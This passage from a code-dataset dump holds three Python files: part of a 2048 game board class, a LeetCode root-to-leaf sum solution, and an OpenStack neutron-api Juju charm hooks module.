3-j:\n count += 1\n else:\n num_zeros += 1\n return count/2\n\n def game_state(self):\n mat = self.matrix\n for i in range(len(mat)):\n for j in range(len(mat[0])):\n if mat[i][j] == 2048:\n # win\n return 1\n # check for any zero entries\n for i in range(len(mat)):\n for j in range(len(mat[0])):\n if mat[i][j] == 0:\n # not over\n return 2\n # check for same cells that touch each other\n for i in range(len(mat)-1):\n # intentionally reduced to check the row on the right and below\n # more elegant to use exceptions but most likely this will be their solution\n for j in range(len(mat[0])-1):\n if mat[i][j] == mat[i+1][j] or mat[i][j+1] == mat[i][j]:\n #not over\n return 2\n for k in range(len(mat)-1): # to check the left/right entries on the last row\n if mat[len(mat)-1][k] == mat[len(mat)-1][k+1]:\n #not over\n return 2\n for j in range(len(mat)-1): # check up/down entries on last column\n if mat[j][len(mat)-1] == mat[j+1][len(mat)-1]:\n #not over\n return 2\n #over \n return 0\n def reverse(self):\n mat = self.matrix\n new = []\n for i in range(len(mat)):\n new.append([])\n for j in range(len(mat[0])):\n new[i].append(mat[i][len(mat[0])-j-1]) \n self.matrix = new\n\n def transpose(self):\n mat = self.matrix\n new = []\n for i in range(len(mat[0])):\n new.append([])\n for j in range(len(mat)):\n new[i].append(mat[j][i])\n self.matrix = new\n\n def cover_up(self):\n self.temp_matrix = []\n mat = self.matrix\n for j in range(4):\n partial_new = []\n for i in range(4):\n partial_new.append(0)\n self.temp_matrix.append(partial_new)\n done = False\n for i in range(4):\n count = 0\n for j in range(4):\n if mat[i][j] != 0:\n self.temp_matrix[i][count] = mat[i][j]\n if j != count:\n done = True\n count += 1\n self.matrix = self.temp_matrix\n return done\n\n def merge(self, done):\n mat = self.matrix\n for i in range(4):\n for j in range(3):\n if mat[i][j] == mat[i][j+1] and mat[i][j] != 0:\n mat[i][j] *= 2\n mat[i][j+1] = 0\n done = True\n self.matrix = mat\n return done\n\n\n def up(self):\n \n self.transpose()\n done = self.cover_up()\n done = self.merge(done)\n self.cover_up()\n self.transpose()\n if done:\n self.add_two()\n self.history.append(self.matrix)\n return done\n\n def down(self):\n \n self.transpose()\n self.reverse()\n done = self.cover_up()\n done = self.merge(done)\n self.cover_up()\n self.reverse()\n self.transpose()\n if done:\n self.add_two()\n self.history.append(self.matrix)\n return done\n\n def left(self):\n \n done = self.cover_up()\n done = self.merge(done)\n self.cover_up()\n if done:\n self.add_two()\n self.history.append(self.matrix)\n return done \n\n def right(self):\n \n self.reverse()\n done = self.cover_up()\n done = self.merge(done)\n self.cover_up()\n self.reverse()\n if done:\n self.add_two()\n self.history.append(self.matrix)\n\n return done\n\n def follow_instr(self,inst):\n for i in range(len(inst)):\n print('in instructions')\n print(inst[i])\n self.commands[inst[i]]()\n\n\n\n def toString(self):\n list_as_array = np.array(self.matrix)\n print(list_as_array)\n\n def printHistory(self):\n \tfor i in range(len(self.history)):\n \t print(np.array(self.history[i]))\n\n\n\n","sub_path":"2048/board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":6474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"434788503","text":"'''\nSolution:\n1. The main idea is to add each node's value based on its parents' values and also based on its place value\n2. These can be done recursively or iteratively using a stack (DFS) or a queue (BFS)\n3. Return total sum if any of the nodes hits the leaf node.\n\n-- Passed all test cases on Leetcode successfully for all 3 Recursive, Iterative (Stack / Queue) approaches.\n\nTime Complexity: Recursive -- O(nodes), Iterative (Stack-DFS) -- O(nodes) and Iterative (Queue-BFS)-- O(nodes)\nSpace Complexity: Recursive -- O(height), Iterative (Stack-DFS) -- O(height) and Iterative (Queue-BFS)-- O(nodes)\n\n'''\n\n\n# Definition for a binary tree node.\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nfrom collections import deque\n\n\nclass SumRootToLeaf_Recursive(object):\n def __init__(self):\n self.totalSum = 0 # this needs to be updated and returned finally\n\n def __sumNumbers(self, root, value):\n # base cases\n if (root == None):\n return\n if (root.left == None and root.right == None):\n self.totalSum += (value * 10 + root.val)\n return\n\n # recursive calls by passing updated values using place value to the recursion calls.\n self.__sumNumbers(root.left, value * 10 + root.val)\n self.__sumNumbers(root.right, value * 10 + root.val)\n\n def sumNumbers(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n # call helper function\n self.__sumNumbers(root, 0)\n return self.totalSum\n\n\nclass SumRootToLeaf_Stack(object):\n def sumNumbers(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n # edge case check\n totalSum = 0\n if (root == None):\n return totalSum\n\n # initialize stack\n # each element in stack contains a node, count (0, 1 or 2 based on no. of children visited), current value\n stack = [[root, 0, 0]]\n\n while (len(stack) > 0):\n\n topNode = stack[-1][0]\n topValue = stack[-1][1]\n topCount = stack[-1][2]\n\n if (topCount == 0): # if none of the children is visted => count is 0\n stack[-1][2] += 1\n if (topNode.left != None):\n stack.append([topNode.left, topValue * 10 + topNode.val, 0]) # add left element to stack\n continue\n\n elif (topCount == 1): # if one of the children is visted => count is 1\n stack[-1][2] += 1\n if (topNode.right != None):\n stack.append([topNode.right, topValue * 10 + topNode.val, 0]) # add right element to stack\n continue\n\n elif (topCount == 2): # if both of the children is visted => count is 2\n if (topNode.left == None and topNode.right == None): # check for leaf node\n totalSum += (topValue * 10 + topNode.val)\n stack.pop()\n\n return totalSum\n\n\nclass SumRootToLeaf_Queue(object):\n def sumNumbers(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n # edge case check\n if (root == None):\n return 0\n\n totalSum = 0\n queue = deque([[root, 0]]) # initialize queue with node and current value till that node\n\n while (len(queue) > 0):\n\n front = queue.popleft()\n frontNode = front[0]\n frontValue = front[1]\n\n if frontNode.left == None and frontNode.right == None: # if leaf node, add it to the total sum\n totalSum += (frontValue * 10 + frontNode.val)\n\n if frontNode.left != None: # if left node not none, append it to the queue\n queue.append([frontNode.left, frontValue * 10 + frontNode.val])\n\n if frontNode.right != None: # if right node not none, append it to the queue\n queue.append([frontNode.right, frontValue * 10 + frontNode.val])\n\n return totalSum","sub_path":"SumRootToLeaf.py","file_name":"SumRootToLeaf.py","file_ext":"py","file_size_in_byte":4183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"264500265","text":"#!/usr/bin/env python3\n#\n# Copyright 2016 Canonical Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport json\nimport os\nimport sys\nimport uuid\nfrom subprocess import (\n check_call,\n)\n\nfrom charmhelpers.core.hookenv import (\n DEBUG,\n ERROR,\n Hooks,\n UnregisteredHookError,\n config,\n is_leader,\n leader_get,\n leader_set,\n local_unit,\n log,\n open_port,\n related_units,\n relation_get,\n relation_id,\n relation_ids,\n relation_set,\n status_set,\n unit_get,\n)\n\nfrom charmhelpers.core.host import (\n mkdir,\n service_reload,\n service_restart,\n)\n\nfrom charmhelpers.fetch import (\n apt_install,\n add_source,\n apt_update,\n filter_installed_packages,\n)\n\nfrom charmhelpers.contrib.openstack.utils import (\n configure_installation_source,\n openstack_upgrade_available,\n os_release,\n sync_db_with_multi_ipv6_addresses,\n is_unit_paused_set,\n pausable_restart_on_change as restart_on_change,\n CompareOpenStackReleases,\n series_upgrade_prepare,\n series_upgrade_complete,\n is_db_maintenance_mode,\n)\n\nfrom neutron_api_utils import (\n ADMIN_POLICY,\n CLUSTER_RES,\n NEUTRON_CONF,\n additional_install_locations,\n api_port,\n assess_status,\n check_local_db_actions_complete,\n determine_packages,\n determine_ports,\n do_openstack_upgrade,\n dvr_router_present,\n force_etcd_restart,\n is_api_ready,\n is_db_initialised,\n l3ha_router_present,\n manage_plugin,\n maybe_set_os_install_release,\n migrate_neutron_database,\n neutron_ready,\n pause_unit_helper,\n register_configs,\n remove_old_packages,\n restart_map,\n resume_unit_helper,\n services,\n setup_ipv6,\n)\nfrom neutron_api_context import (\n EtcdContext,\n IdentityServiceContext,\n NeutronApiSDNContext,\n NeutronCCContext,\n get_dns_domain,\n get_dvr,\n get_l2population,\n get_l3ha,\n get_overlay_network_type,\n is_fwaas_enabled,\n is_nfg_logging_enabled,\n is_nsg_logging_enabled,\n is_qos_requested_and_valid,\n is_port_forwarding_enabled,\n is_vlan_trunking_requested_and_valid,\n)\n\nfrom charmhelpers.contrib.hahelpers.cluster import (\n is_clustered,\n is_elected_leader,\n)\n\nfrom charmhelpers.contrib.openstack.ha.utils import (\n generate_ha_relation_data,\n)\n\nfrom charmhelpers.payload.execd import execd_preinstall\n\nfrom charmhelpers.contrib.openstack.ip import (\n canonical_url,\n PUBLIC, INTERNAL, ADMIN\n)\n\nfrom charmhelpers.contrib.openstack.neutron import (\n neutron_plugin_attribute,\n)\n\nfrom charmhelpers.contrib.network.ip import (\n get_relation_ip,\n)\n\nfrom charmhelpers.contrib.openstack.cert_utils import (\n get_certificate_request,\n process_certificates,\n)\n\nfrom charmhelpers.contrib.openstack.policyd import (\n maybe_do_policyd_overrides,\n maybe_do_policyd_overrides_on_config_changed,\n)\n\nfrom charmhelpers.contrib.openstack.context import ADDRESS_TYPES\n\nfrom charmhelpers.contrib.charmsupport import nrpe\nfrom charmhelpers.contrib.hardening.harden import harden\n\nhooks = Hooks()\nCONFIGS = register_configs()\n\n\ndef conditional_neutron_migration():\n \"\"\"Initialise neutron database if not already done so.\n\n Runs neutron-manage to initialize a new database or migrate existing and\n restarts services to ensure that the changes are picked up. The first\n (leader) unit to perform this action should have broadcast this information\n to its peers so first we check whether this has already occurred.\n \"\"\"\n if CompareOpenStackReleases(os_release('neutron-server')) <= 'icehouse':\n log('Not running neutron database migration as migrations are handled '\n 'by the neutron-server process.')\n return\n\n if not is_elected_leader(CLUSTER_RES):\n log('Not running neutron database migration, not leader')\n return\n\n allowed_units = relation_get('allowed_units')\n if not (allowed_units and local_unit() in allowed_units.split()):\n log('Not running neutron database migration, either no '\n 'allowed_units or this unit is not present')\n return\n\n migrate_neutron_database()\n\n\ndef configure_https():\n '''\n Enables SSL API Apache config if appropriate and kicks identity-service\n with any required api updates.\n '''\n # need to write all to ensure changes to the entire request pipeline\n # propagate (c-api, haprxy, apache)\n CONFIGS.write_all()\n if 'https' in CONFIGS.complete_contexts():\n cmd = ['a2ensite', 'openstack_https_frontend']\n check_call(cmd)\n else:\n cmd = ['a2dissite', 'openstack_https_frontend']\n check_call(cmd)\n\n # TODO: improve this by checking if local CN certs are available\n # first then checking reload status (see LP #1433114).\n if not is_unit_paused_set():\n service_reload('apache2', restart_on_failure=True)\n\n for rid in relation_ids('identity-service'):\n identity_joined(rid=rid)\n\n\n@hooks.hook('install')\n@harden()\ndef install():\n status_set('maintenance', 'Executing pre-install')\n execd_preinstall()\n openstack_origin = config('openstack-origin')\n configure_installation_source(openstack_origin)\n\n # Manage change of default configuration option values gated on\n # install-time OpenStack release\n maybe_set_os_install_release(openstack_origin)\n\n neutron_plugin = config('neutron-plugin')\n additional_install_locations(neutron_plugin, openstack_origin)\n\n add_source(config('extra-source'), config('extra-key'))\n status_set('maintenance', 'Installing apt packages')\n apt_update(fatal=True)\n # (ajkavanagh) LP: #1989538\n # Tactical fix to force openstack-release to match the configured\n # installation source; note that it comes after apt_update().\n apt_install(['openstack-release'], fatal=False, quiet=True)\n packages = determine_packages(openstack_origin)\n apt_install(packages, fatal=True)\n\n for port in determine_ports():\n open_port(port)\n\n if neutron_plugin == 'midonet':\n mkdir('/etc/neutron/plugins/midonet', owner='neutron', group='neutron',\n perms=0o755, force=False)\n # call the policy overrides handler which will install any policy overrides\n maybe_do_policyd_overrides(\n os_release('neutron-server'),\n 'neutron',\n restart_handler=lambda: service_restart('neutron-server'))\n\n\n@hooks.hook('vsd-rest-api-relation-joined')\n@restart_on_change(restart_map(), stopstart=True)\ndef relation_set_nuage_cms_name(rid=None):\n if CompareOpenStackReleases(os_release('neutron-server')) >= 'kilo':\n if config('vsd-cms-name') is None:\n e = \"Neutron Api hook failed as vsd-cms-name\" \\\n \" is not specified\"\n status_set('blocked', e)\n else:\n relation_data = {\n 'vsd-cms-name': '{}'.format(config('vsd-cms-name'))\n }\n relation_set(relation_id=rid, **relation_data)\n\n\n@hooks.hook('vsd-rest-api-relation-changed')\n@restart_on_change(restart_map(), stopstart=True)\ndef vsd_changed(relation_id=None, remote_unit=None):\n if config('neutron-plugin') == 'vsp':\n vsd_ip_address = relation_get('vsd-ip-address')\n if not vsd_ip_address:\n return\n vsd_address = '{}:8443'.format(vsd_ip_address)\n if CompareOpenStackReleases(os_release('neutron-server')) >= 'kilo':\n vsd_cms_id = relation_get('nuage-cms-id')\n log(\"nuage-vsd-api-relation-changed : cms_id:{}\"\n .format(vsd_cms_id))\n nuage_config_file = neutron_plugin_attribute(config('neutron-plugin'),\n 'config', 'neutron')\n log('vsd-rest-api-relation-changed: ip address:{}'.format(vsd_address))\n log('vsd-rest-api-relation-changed:{}'.format(nuage_config_file))\n\n CONFIGS.write(nuage_config_file)\n\n\n@hooks.hook('upgrade-charm')\n@restart_on_change(restart_map(), stopstart=True)\n@harden()\ndef upgrade_charm():\n common_upgrade_charm_and_config_changed()\n # call the policy overrides handler which will install any policy overrides\n maybe_do_policyd_overrides(\n os_release('neutron-server'),\n 'neutron',\n restart_handler=lambda: service_restart('neutron-server'))\n\n\n@hooks.hook('config-changed')\n@restart_on_change(restart_map(), stopstart=True)\n@harden()\ndef config_changed():\n common_upgrade_charm_and_config_changed()\n # call the policy overrides handler which will install any policy overrides\n maybe_do_policyd_overrides_on_config_changed(\n os_release('neutron-server'),\n 'neutron',\n restart_handler=lambda: service_restart('neutron-server'))\n\n\ndef common_upgrade_charm_and_config_changed():\n \"\"\"Common code between upgrade-charm and config-changed hooks\"\"\"\n # if we are paused, delay doing any config changed hooks.\n # It is forced on the resume.\n if is_unit_paused_set():\n log(\"Unit is pause or upgrading. Skipping config_changed\", \"WARN\")\n return\n\n # If neutron is ready to be queried then check for incompatability between\n # existing neutron objects and charm settings\n if neutron_ready():\n if l3ha_router_present() and not get_l3ha():\n e = ('Cannot disable Router HA while ha enabled routers exist.'\n ' Please remove any ha routers')\n status_set('blocked', e)\n raise Exception(e)\n if dvr_router_present() and not get_dvr():\n e = ('Cannot disable dvr while dvr enabled routers exist. Please'\n ' remove any distributed routers')\n log(e, level=ERROR)\n status_set('blocked', e)\n raise Exception(e)\n if config('prefer-ipv6'):\n status_set('maintenance', 'configuring ipv6')\n setup_ipv6()\n sync_db_with_multi_ipv6_addresses(config('database'),\n config('database-user'))\n\n global CONFIGS\n if not config('action-managed-upgrade'):\n if openstack_upgrade_available('neutron-common'):\n status_set('maintenance', 'Running openstack upgrade')\n do_openstack_upgrade(CONFIGS)\n\n additional_install_locations(\n config('neutron-plugin'),\n config('openstack-origin')\n )\n status_set('maintenance', 'Installing apt packages')\n pkgs = determine_packages(openstack_release=os_release('neutron-server'))\n apt_install(filter_installed_packages(pkgs), fatal=True)\n packages_removed = remove_old_packages()\n configure_https()\n update_nrpe_config()\n infoblox_changed()\n # This part can be removed for U.\n if os.path.exists(ADMIN_POLICY):\n # Clean 00-admin.json added for bug/1830536. At has been\n # noticed that it creates regression.\n os.remove(ADMIN_POLICY)\n CONFIGS.write_all()\n if packages_removed and not is_unit_paused_set():\n log(\"Package purge detected, restarting services\", \"INFO\")\n for s in services():\n service_restart(s)\n for r_id in relation_ids('neutron-api'):\n neutron_api_relation_joined(rid=r_id)\n for r_id in relation_ids('neutron-plugin-api'):\n neutron_plugin_api_relation_joined(rid=r_id)\n for r_id in relation_ids('amqp'):\n amqp_joined(relation_id=r_id)\n for r_id in relation_ids('identity-service'):\n identity_joined(rid=r_id)\n for r_id in relation_ids('ha'):\n ha_joined(relation_id=r_id)\n for r_id in relation_ids('neutron-plugin-api-subordinate'):\n neutron_plugin_api_subordinate_relation_joined(relid=r_id)\n for rid in relation_ids('cluster'):\n cluster_joined(rid)\n\n\n@hooks.hook('amqp-relation-joined')\ndef amqp_joined(relation_id=None):\n relation_set(relation_id=relation_id,\n username=config('rabbit-user'), vhost=config('rabbit-vhost'))\n\n\n@hooks.hook('amqp-relation-changed')\n@hooks.hook('amqp-relation-departed')\n@restart_on_change(restart_map())\ndef amqp_changed():\n if 'amqp' not in CONFIGS.complete_contexts():\n log('amqp relation incomplete. Peer not ready?')\n return\n CONFIGS.write(NEUTRON_CONF)\n\n for r_id in relation_ids('neutron-plugin-api-subordinate'):\n neutron_plugin_api_subordinate_relation_joined(relid=r_id)\n\n\n@hooks.hook('shared-db-relation-joined')\ndef db_joined():\n if config('prefer-ipv6'):\n sync_db_with_multi_ipv6_addresses(config('database'),\n config('database-user'))\n else:\n # Avoid churn check for access-network early\n access_network = None\n for unit in related_units():\n access_network = relation_get(unit=unit,\n attribute='access-network')\n if access_network:\n break\n host = get_relation_ip('shared-db', cidr_network=access_network)\n\n relation_set(database=config('database'),\n username=config('database-user'),\n hostname=host)\n\n\n@hooks.hook('shared-db-relation-changed')\n@restart_on_change(restart_map())\ndef db_changed():\n if is_db_maintenance_mode():\n log('Database maintenance mode, aborting hook.', level=DEBUG)\n return\n if 'shared-db' not in CONFIGS.complete_contexts():\n log('shared-db relation incomplete. Peer not ready?')\n return\n CONFIGS.write_all()\n conditional_neutron_migration()\n infoblox_changed()\n for r_id in relation_ids('neutron-plugin-api-subordinate'):\n neutron_plugin_api_subordinate_relation_joined(relid=r_id)\n\n\n@hooks.hook('amqp-relation-broken',\n 'identity-service-relation-broken',\n 'shared-db-relation-broken')\ndef relation_broken():\n CONFIGS.write_all()\n\n\n@hooks.hook('identity-service-relation-joined')\ndef identity_joined(rid=None, relation_trigger=False):\n if config('vip') and not is_clustered():\n log('Defering registration until clustered', level=DEBUG)\n return\n\n public_url = '{}:{}'.format(canonical_url(CONFIGS, PUBLIC),\n api_port('neutron-server'))\n admin_url = '{}:{}'.format(canonical_url(CONFIGS, ADMIN),\n api_port('neutron-server'))\n internal_url = '{}:{}'.format(canonical_url(CONFIGS, INTERNAL),\n api_port('neutron-server')\n )\n rel_settings = {\n 'neutron_service': 'neutron',\n 'neutron_region': config('region'),\n 'neutron_public_url': public_url,\n 'neutron_admin_url': admin_url,\n 'neutron_internal_url': internal_url,\n 'quantum_service': None,\n 'quantum_region': None,\n 'quantum_public_url': None,\n 'quantum_admin_url': None,\n 'quantum_internal_url': None,\n }\n if relation_trigger:\n rel_settings['relation_trigger'] = str(uuid.uuid4())\n relation_set(relation_id=rid, relation_settings=rel_settings)\n\n\n@hooks.hook('identity-service-relation-changed')\n@restart_on_change(restart_map())\ndef identity_changed():\n if 'identity-service' not in CONFIGS.complete_contexts():\n log('identity-service relation incomplete. Peer not ready?')\n return\n CONFIGS.write(NEUTRON_CONF)\n for r_id in relation_ids('neutron-api'):\n neutron_api_relation_joined(rid=r_id)\n for r_id in relation_ids('neutron-plugin-api'):\n neutron_plugin_api_relation_joined(rid=r_id)\n for r_id in relation_ids('neutron-plugin-api-subordinate'):\n neutron_plugin_api_subordinate_relation_joined(relid=r_id)\n configure_https()\n infoblox_changed()\n\n\n@hooks.hook('neutron-api-relation-joined')\ndef neutron_api_relation_joined(rid=None):\n base_url = canonical_url(CONFIGS, INTERNAL)\n neutron_url = '%s:%s' % (base_url, api_port('neutron-server'))\n relation_data = {\n 'enable-sriov': config('enable-sriov'),\n 'enable-hardware-offload': config('enable-hardware-offload'),\n 'neutron-url': neutron_url,\n 'neutron-plugin': config('neutron-plugin'),\n }\n if config('neutron-security-groups'):\n relation_data['neutron-security-groups'] = \"yes\"\n else:\n relation_data['neutron-security-groups'] = \"no\"\n\n if is_api_ready(CONFIGS):\n relation_data['neutron-api-ready'] = \"yes\"\n else:\n relation_data['neutron-api-ready'] = \"no\"\n\n # LP Bug#1805645\n dns_domain = get_dns_domain()\n if dns_domain:\n relation_data['dns-domain'] = dns_domain\n\n relation_set(relation_id=rid, **relation_data)\n # Nova-cc may have grabbed the neutron endpoint so kick identity-service\n # relation to register that its here\n for r_id in relation_ids('identity-service'):\n identity_joined(rid=r_id, relation_trigger=True)\n\n\n@hooks.hook('neutron-api-relation-changed')\n@restart_on_change(restart_map())\ndef neutron_api_relation_changed():\n CONFIGS.write(NEUTRON_CONF)\n\n\n@hooks.hook('neutron-load-balancer-relation-joined')\ndef neutron_load_balancer_relation_joined(rid=None):\n relation_data = {}\n relation_data['neutron-api-ready'] = is_api_ready(CONFIGS)\n relation_set(relation_id=rid, **relation_data)\n\n\n@hooks.hook('neutron-load-balancer-relation-changed')\n@restart_on_change(restart_map())\ndef neutron_load_balancer_relation_changed(rid=None):\n neutron_load_balancer_relation_joined(rid)\n CONFIGS.write(NEUTRON_CONF)\n\n\n@hooks.hook('neutron-plugin-api-relation-joined')\ndef neutron_plugin_api_relation_joined(rid=None):\n if config('neutron-plugin') == 'nsx':\n relation_data = {\n 'nsx-username': config('nsx-username'),\n 'nsx-password': config('nsx-password'),\n 'nsx-cluster-name': config('nsx-cluster-name'),\n 'nsx-tz-uuid': config('nsx-tz-uuid'),\n 'nsx-l3-uuid': config('nsx-l3-uuid'),\n 'nsx-controllers': config('nsx-controllers'),\n }\n else:\n relation_data = {\n 'neutron-security-groups': config('neutron-security-groups'),\n 'l2-population': get_l2population(),\n 'enable-dvr': get_dvr(),\n 'enable-l3ha': get_l3ha(),\n 'enable-qos': is_qos_requested_and_valid(),\n 'enable-vlan-trunking': is_vlan_trunking_requested_and_valid(),\n 'enable-nsg-logging': is_nsg_logging_enabled(),\n 'enable-nfg-logging': is_nfg_logging_enabled(),\n 'enable-port-forwarding': is_port_forwarding_enabled(),\n 'enable-fwaas': is_fwaas_enabled(),\n 'overlay-network-type': get_overlay_network_type(),\n 'addr': unit_get('private-address'),\n 'polling-interval': config('polling-interval'),\n 'rpc-response-timeout': config('rpc-response-timeout'),\n 'report-interval': config('report-interval'),\n 'global-physnet-mtu': config('global-physnet-mtu'),\n 'physical-network-mtus': config('physical-network-mtus'),\n }\n\n # Provide this value to relations since it needs to be set in multiple\n # places e.g. neutron.conf, nova.conf\n net_dev_mtu = config('network-device-mtu')\n if net_dev_mtu:\n relation_data['network-device-mtu'] = net_dev_mtu\n\n identity_ctxt = IdentityServiceContext()()\n if not identity_ctxt:\n identity_ctxt = {}\n\n relation_data.update({\n 'auth_host': identity_ctxt.get('auth_host'),\n 'auth_port': identity_ctxt.get('auth_port'),\n 'auth_protocol': identity_ctxt.get('auth_protocol'),\n 'service_protocol': identity_ctxt.get('service_protocol'),\n 'service_host': identity_ctxt.get('service_host'),\n 'service_port': identity_ctxt.get('service_port'),\n 'service_tenant': identity_ctxt.get('admin_tenant_name'),\n 'service_username': identity_ctxt.get('admin_user'),\n 'service_password': identity_ctxt.get('admin_password'),\n 'internal_host': identity_ctxt.get('internal_host'),\n 'internal_port': identity_ctxt.get('internal_port'),\n 'internal_protocol': identity_ctxt.get('internal_protocol'),\n 'region': config('region'),\n })\n\n dns_domain = get_dns_domain()\n if dns_domain:\n relation_data['dns-domain'] = dns_domain\n\n if is_api_ready(CONFIGS):\n relation_data['neutron-api-ready'] = \"yes\"\n else:\n relation_data['neutron-api-ready'] = \"no\"\n\n relation_set(relation_id=rid, **relation_data)\n\n\n@hooks.hook('cluster-relation-joined')\ndef cluster_joined(relation_id=None):\n settings = {}\n\n for addr_type in ADDRESS_TYPES:\n address = get_relation_ip(\n addr_type,\n cidr_network=config('os-{}-network'.format(addr_type)))\n if address:\n settings['{}-address'.format(addr_type)] = address\n\n settings['private-address'] = get_relation_ip('cluster')\n\n relation_set(relation_id=relation_id, relation_settings=settings)\n\n if not relation_id:\n check_local_db_actions_complete()\n\n\n@hooks.hook('cluster-relation-changed',\n 'cluster-relation-departed')\n@restart_on_change(restart_map(), stopstart=True)\ndef cluster_changed():\n CONFIGS.write_all()\n check_local_db_actions_complete()\n\n\n@hooks.hook('ha-relation-joined')\ndef ha_joined(relation_id=None):\n extra_settings = {\n 'delete_resources': ['cl_nova_haproxy']\n }\n settings = generate_ha_relation_data(\n 'neutron',\n extra_settings=extra_settings)\n relation_set(relation_id=relation_id, **settings)\n\n\n@hooks.hook('ha-relation-changed')\ndef ha_changed():\n clustered = relation_get('clustered')\n if not clustered or clustered in [None, 'None', '']:\n log('ha_changed: hacluster subordinate'\n ' not fully clustered: %s' % clustered)\n return\n log('Cluster configured, notifying other services and updating '\n 'keystone endpoint configuration')\n for rid in relation_ids('identity-service'):\n identity_joined(rid=rid)\n for rid in relation_ids('neutron-api'):\n neutron_api_relation_joined(rid=rid)\n\n\n@hooks.hook('neutron-plugin-api-subordinate-relation-joined',\n 'neutron-plugin-api-subordinate-relation-changed')\n@restart_on_change(restart_map(), stopstart=True)\ndef neutron_plugin_api_subordinate_relation_joined(relid=None):\n relation_data = {}\n if is_db_initialised():\n db_migration_key = 'migrate-database-nonce'\n if not relid:\n relid = relation_id()\n leader_key = '{}-{}'.format(db_migration_key, relid)\n for unit in related_units(relid):\n nonce = relation_get(db_migration_key, rid=relid, unit=unit)\n if nonce:\n if is_leader() and leader_get(leader_key) != nonce:\n migrate_neutron_database(upgrade=True)\n # track nonce in leader storage to avoid superfluous\n # migrations\n leader_set({leader_key: nonce})\n # set nonce back on relation to signal completion to other end\n # we do this regardless of leadership status so that\n # subordinates connected to non-leader units can proceed.\n relation_data[db_migration_key] = nonce\n\n relation_data['neutron-api-ready'] = 'no'\n if is_api_ready(CONFIGS):\n relation_data['neutron-api-ready'] = 'yes'\n if not manage_plugin():\n neutron_cc_ctxt = NeutronCCContext()()\n plugin_instance = NeutronApiSDNContext()\n neutron_config_data = {\n k: v for k, v in neutron_cc_ctxt.items()\n if plugin_instance.is_allowed(k)}\n if neutron_config_data:\n relation_data['neutron_config_data'] = json.dumps(\n neutron_config_data)\n relation_set(relation_id=relid, **relation_data)\n\n # there is no race condition with the neutron service restart\n # as juju propagates the changes done in relation_set only after\n # the hook exists\n CONFIGS.write_all()\n\n\n@hooks.hook('nrpe-external-master-relation-joined',\n 'nrpe-external-master-relation-changed')\ndef update_nrpe_config():\n # python-dbus is used by check_upstart_job\n apt_install('python-dbus')\n hostname = nrpe.get_nagios_hostname()\n current_unit = nrpe.get_nagios_unit_name()\n nrpe_setup = nrpe.NRPE(hostname=hostname)\n nrpe.copy_nrpe_checks()\n nrpe.add_init_service_checks(nrpe_setup, services(), current_unit)\n\n nrpe.add_haproxy_checks(nrpe_setup, current_unit)\n nrpe_setup.write()\n\n\n@hooks.hook('etcd-proxy-relation-joined')\n@hooks.hook('etcd-proxy-relation-changed')\ndef etcd_proxy_force_restart(relation_id=None):\n # note(cory.benfield): Mostly etcd does not require active management,\n # but occasionally it does require a full config nuking. This does not\n # play well with the standard neutron-api config management, so we\n # treat etcd like the special snowflake it insists on being.\n CONFIGS.register('/etc/init/etcd.conf', [EtcdContext()])\n CONFIGS.write('/etc/init/etcd.conf')\n CONFIGS.register('/etc/default/etcd', [EtcdContext()])\n CONFIGS.write('/etc/default/etcd')\n\n if 'etcd-proxy' in CONFIGS.complete_contexts():\n force_etcd_restart()\n\n\n@hooks.hook('midonet-relation-joined')\n@hooks.hook('midonet-relation-changed')\n@hooks.hook('midonet-relation-departed')\n@restart_on_change(restart_map())\ndef midonet_changed():\n CONFIGS.write_all()\n\n\n@hooks.hook('external-dns-relation-joined',\n 'external-dns-relation-changed',\n 'external-dns-relation-departed',\n 'external-dns-relation-broken')\n@restart_on_change(restart_map())\ndef designate_changed():\n CONFIGS.write_all()\n\n\n@hooks.hook('infoblox-neutron-relation-changed')\n@restart_on_change(restart_map)\ndef infoblox_changed():\n # The neutron DB upgrade will add new tables to\n # neutron db related to infoblox service.\n # Please take a look to charm-infoblox docs.\n if 'infoblox-neutron' not in CONFIGS.complete_contexts():\n log('infoblox-neutron relation incomplete. Peer not ready?')\n return\n\n CONFIGS.write(NEUTRON_CONF)\n\n if is_leader():\n ready = False\n if is_db_initialised() and neutron_ready():\n migrate_neutron_database(upgrade=True)\n ready = True\n for rid in relation_ids('infoblox-neutron'):\n relation_set(relation_id=rid, neutron_api_ready=ready)\n\n\n@hooks.hook('infoblox-neutron-relation-departed',\n 'infoblox-neutron-relation-broken')\n@restart_on_change(restart_map)\ndef infoblox_departed():\n CONFIGS.write_all()\n\n\n@hooks.hook('update-status')\n@harden()\n@harden()\ndef update_status():\n log('Updating status.')\n\n\n@hooks.hook('certificates-relation-joined')\ndef certs_joined(relation_id=None):\n relation_set(\n relation_id=relation_id,\n relation_settings=get_certificate_request())\n\n\n@hooks.hook('certificates-relation-changed')\n@restart_on_change(restart_map(), stopstart=True)\ndef certs_changed(relation_id=None, unit=None):\n process_certificates('neutron', relation_id, unit)\n configure_https()\n # If endpoint has switched to https, need to tell\n # nova-cc\n for r_id in relation_ids('neutron-api'):\n neutron_api_relation_joined(rid=r_id)\n\n\n@hooks.hook('pre-series-upgrade')\ndef pre_series_upgrade():\n log(\"Running prepare series upgrade hook\", \"INFO\")\n series_upgrade_prepare(\n pause_unit_helper, CONFIGS)\n\n\n@hooks.hook('post-series-upgrade')\ndef post_series_upgrade():\n log(\"Running complete series upgrade hook\", \"INFO\")\n series_upgrade_complete(\n resume_unit_helper, CONFIGS)\n\n\ndef main():\n try:\n hooks.execute(sys.argv)\n except UnregisteredHookError as e:\n log('Unknown hook {} - skipping.'.format(e))\n assess_status(CONFIGS)\n\n\nif 